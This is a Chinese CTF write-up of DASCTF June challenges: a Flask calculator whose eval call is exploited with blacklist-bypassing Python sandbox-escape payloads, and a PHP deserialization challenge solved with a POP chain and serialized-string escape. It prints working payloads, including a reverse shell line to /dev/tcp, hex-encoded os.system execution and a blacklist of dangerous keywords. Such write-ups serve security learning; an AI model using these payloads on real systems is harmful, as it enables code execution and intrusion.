DASCTF 6月赛总结

简单的计算题1

打开之后是一个计算器,要求提交计算结果,每次刷新题目会随机给出新的计算题目。

点击下方可以查看源代码,从源代码中不难看出使用了flask框架,并且存在eval函数,存在命令执行的可能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3 
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import black_list,create
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
## flag is in /flag try to get it

# 路由根
@app.route('/', methods=['GET', 'POST'])
def index():
def filter(string):
# 过滤黑名单中的字符
for black_word in black_list:
if black_word in string:
return "hack"
return string

# 请求是POST
if request.method == 'POST':
input = request.form['input']
create_question = create()
input_question = session.get('question')
session['question'] = create_question

if input_question==None:
# input不能为空
return render_template('index.html', answer="Invalid session please try again!", question=create_question)

if filter(input)=="hack":
# input不能包含黑名单中的字符,fuzz可以fuzz一下
return render_template('index.html', answer="hack", question=create_question)

try:
calc_result = str((eval(input_question + "=" + str(input))))
# eval函数
if calc_result == 'True':
result = "Congratulations"
elif calc_result == 'False':
result = "Error"
else:
result = "Invalid"
except:
result = "Invalid"

return render_template('index.html', answer=result,question=create_question)

# 请求是GET,感觉GET请求啥也没用
if request.method == 'GET':
create_question = create()
session['question'] = create_question
return render_template('index.html',question=create_question)

# 路由/source
@app.route('/source')
def source():
return open("app.py", "r").read()

if __name__ == '__main__':
app.run(host="0.0.0.0", debug=False)

第一次看代码觉得有点奇怪,eval函数只是用了一个等于号,这不是赋值语句吗?根据之前p牛写过的一篇文章可以解密flask的session。

1
calc_result = str((eval(input_question + "=" + str(input))))

解密后发现其中的question变量为类似于(312843)+(-129631)+(612537)+(462308)+(-296402)=这样的,自带一个等于号,拼接追后就是==,并不是赋值,还是一个判断。代码中设置了secret_key,无法进行session伪造。代码中的黑名单不可见,当时也犯懒没有fuzz。

python中的eval函数会执行参数字符串,整条语句为(312843)+(-129631)+(612537)+(462308)+(-296402)=input,我们对input可控。当时看到使用的是flask,第一时间想到了flask模版注入,由于没有回显,应该是盲注。网上搜了一下flask模版盲注语句,搜到一个逐字猜测的。

1
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()[0:1]=='a' %}~p0~{% endif %}

根据python的一个特点,布尔值于数字做运算的时候,True为1,False为0,我们可以通过计算结果的正确与否来判断是否猜测成功。

当时没做出来的错误解法

构造payload为,想象中如果后面的猜测字符正确返回True,那么结果就会比正确的结果大1,回显Error。写了个脚本跑,结果被黑名单检测到了。

1
calculate_result+{% if ''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()[0:1]=='a' %}~p0~{% endif %}

将flask模版注入语句进行编码

1
calculate_result+chr(40)+chr(41)+chr(46)+chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)+chr(46)+chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95)+chr(91)+chr(48)+chr(93)+chr(46)+chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95)+chr(40)+chr(41)+chr(91)+chr(52)+chr(48)+chr(93)+chr(40)+chr(39)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)

本地测试执行

当然最后没有跑出结果。

Write up

思路一样,就是盲注,不过不用那么麻烦,根本用不到flask模版注入,使用read函数就好。也不用+1什么的,一个and直接连接,我自己想的太麻烦了,吐了。

1
"{0} and '{2}'==(open('/flag','r').read()[{1}])".format(question, i, char)

简单的计算题2

和第一题一样,blacklist中将read过滤了,别的大佬打了个shell把源代码扒下来了,blacklist长这样。

1
2
3
black_list = [ 'os', 'mro', 'request', 'args', 'eval', 'system','if', 'for',
'subprocess', 'file', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config',
'local', 'self','enter','%','or','ls','sys','globals','read','popen']

看了很多大佬的博客,总结起来思路有三种。

思路1

黑名单中并没有过滤完全,可以使用exec函数构造payload。

1
1,open('/tmp/c.sh','w').write('/bin/bash -i > /dev/tcp/server_ip/listening_port 0>&1'),exec(bytes.fromhex('6f732e73797374656d28272f62696e2f62617368202f746d702f632e73682729').decode())

那一串16进制接吗之后就是让程序静止10秒,根据回显判断shell是不是打进去了。

1
os.system('sleep 10')

思路2

沙箱逃逸知识

python中可以不用import关键字直接调用内建函数。

内置名称空间 > 全局名称空间 > 局部名称空间

python中每一个变量都对应一个类,使用__class__可以获取对应的类。

__base__返回对象的一个基类,一般都是object。

__mor__返回类继承链的调用顺序,最后一个都是object。

__subclasses__()返回继承此类的子类。

__init__所有自带类都含有的魔术方法,以此为跳板值行__globals__

__globals__获取function空间下所有可使用的moudle,方法和变量。

有以上知识储备之后看一下大佬的payload,这是没有考虑bypass waf的版本。

1
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

从左往右看首先使用__class__获取字符串的类为<class 'str'>

接着返回str类的继承顺序中的第二个,即object类。

返回继承object类的子类中的第105个类,为<class 'codecs.StreamReaderWriter'>

__init__方法空间中获取sys模块(module),再获取os模块,并调用其中的system函数执行命令ls

命令执行效果如下

然后使用函数getattr返回对象的属性值,平时多用于对.的bypass。

然后用字符串拼接的方式绕过黑名单即可,最终大佬的payload为

1
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__cla'+'ss__'),'__mr'+'o__')[1],'__subclas'+'ses__')()[104],'__init__'),'__glob'+'al'+'s__')['sy'+'s'],'mod'+'ules')['o'+'s'],'sy'+'ste'+'m')('l'+'s')

思路3

利用python读文件的特点

__dict__是一个储存对象属性的字典,键名为属性名,键值为属性值。

vars()同样如此。

根上面的思路有一些类似。使用open函数打开flag之后使用__class__获取到了TextIOWrapper类,其中的属性名称read对应的就是read函数,即可读取文件内容。

最终payload为

1
2
1,open('/flag','r').__class__.__dict__['re'+'ad'](open('/flag','r'))
1,vars(open('/flag','r').__class__)['re'+'ad'](open('/flag','r'))

phpnus

给了源代码,审计题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
//function.php的一些主要函数
function add($data)
{
$data = str_replace(chr(0).'*'.chr(0), '\0*\0', $data);
return $data;
}

function reduce($data)
{
$data = str_replace('\0*\0', chr(0).'*'.chr(0), $data);
return $data;
}

function check($data)
{
if(stristr($data, 'c2e38')!==False){
die('exit');
}
}

//class.php
class User{
protected $username;
protected $password;
protected $admin;

public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
$this->admin = 0;
}

public function get_admin(){
return $this->admin;
}
}


class Hacker_A{
public $c2e38;

public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function __destruct() {
if(stristr($this->c2e38, "admin")===False){
echo("must be admin");
}else{
echo("good luck");
}
}
}
class Hacker_B{
public $c2e38;

public function __construct($c2e38){
$this->c2e38 = $c2e38;
}

public function get_c2e38(){
return $this->c2e38;
}

public function __toString(){
$tmp = $this->get_c2e38();
$tmp();
return 'test';
}

}

class Hacker_C{
public $name = 'test';

public function __invoke(){
var_dump(system('cat /flag'));
}
}

//index.php
if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'] ;
$user = new User($username, $password);
$_SESSION['info'] = add(serialize($user));

//这里实际上会跳转到info.php,下面是info.php的部分源码
check(reduce($_SESSION['info']));
$tmp = unserialize(reduce($_SESSION['info']));

if($tmp->get_admin() == 0){
die('You must be admin');
}
}

private变量序列化后需要在变量名的左右手动添加不可见字符%00,protected变量序列化后需要在变量前的星号*左右手动添加不可见字符,使其成为%00*%00

首先是三个Hacker类,Hacker_A中的字符串比较触发Hacker_B中的__toString魔术方法,用函数的方式调用Hacker_C触发其中的__invoke魔术方法,打印flag完成pop链子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Hacker_A{
public $c2e38;
public function __construct(){
$this->c2e38 = new Hacker_B();
}
}

class Hacker_B{
public $c2e38;
public function __construct(){
$this->c2e38 = new Hacker_c();
}
}

class Hacker_C{
public $name = 'test';
public function __invoke(){
var_dump(system('cat /flag'));
}
}
?>

序列化结果为

1
O:8:"Hacker_A":1:{s:5:"c2e38";O:8:"Hacker_B":1:{s:5:"c2e38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}

下一个困难就是验证User类中的admin,先把正常的User类序列话字符串打印出来,注意加%00

1
O:4:"User":3:{s:11:"%00*%00username";s:5:"1";s:11:"%00*%00password";s:5:"";s:8:"%00*%00admin";i:0;}

然后就要找上传点。源码中只对User类进行反序列化,reduce函数会将\0*\0换成chr(0)*chr(0),将5个字符转换为3个字符。这里用到了字符串逃逸,简单来说就是破坏序列话字符串的结构,“吞”掉一部分,具体可以看我在吐司上的这篇文章

Hacker类的序列话字符串长度为103,这里需要“吞”掉的字符串为";s:11:"%00*%00password";s:103:",长度为28。进行一次reduce函数可以“吞”掉两个字符,需要进行14次,也就是说需要14个%00*%00

构造payload

1
2
username=%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00a
password=";s:11:"%00*%00password";O:8:"Hacker_A":1:{s:5:"c2e38";O:8:"Hacker_B":1:{s:5:"c2e38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}};s:8:"%00*%00admin";i:1;}

这样就成功将Hacker类填入了password中,使其被反序列化,打印flag。

源码中check函数过滤了关键字c2e38,将序列话字符串中表示变量(名)为字符串的小写s换为大写S,即可解析变量(名)中的16进制。

最终payload为

1
username=u\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=";S:11:"\00*\00password";O:8:"Hacker_A":1:{S:5:"\632e38";O:8:"Hacker_B":1:{S:5:"\632e38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}};S:8:"\00*\00admin";i:1;}&submit=Login

urlencode之后

1
username=u%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0&password=%22;S:11:%22%5C00*%5C00password%22;O:8:%22Hacker_A%22:1:%7BS:5:%22%5C632e38%22;O:8:%22Hacker_B%22:1:%7BS:5:%22%5C632e38%22;O:8:%22Hacker_C%22:1:%7Bs:4:%22name%22;s:4:%22test%22;%7D%7D%7D;S:8:%22%5C00*%5C00admin%22;i:1;%7D&submit=Login

easyflas和filecheck

时间关系,先记下以后继续复现。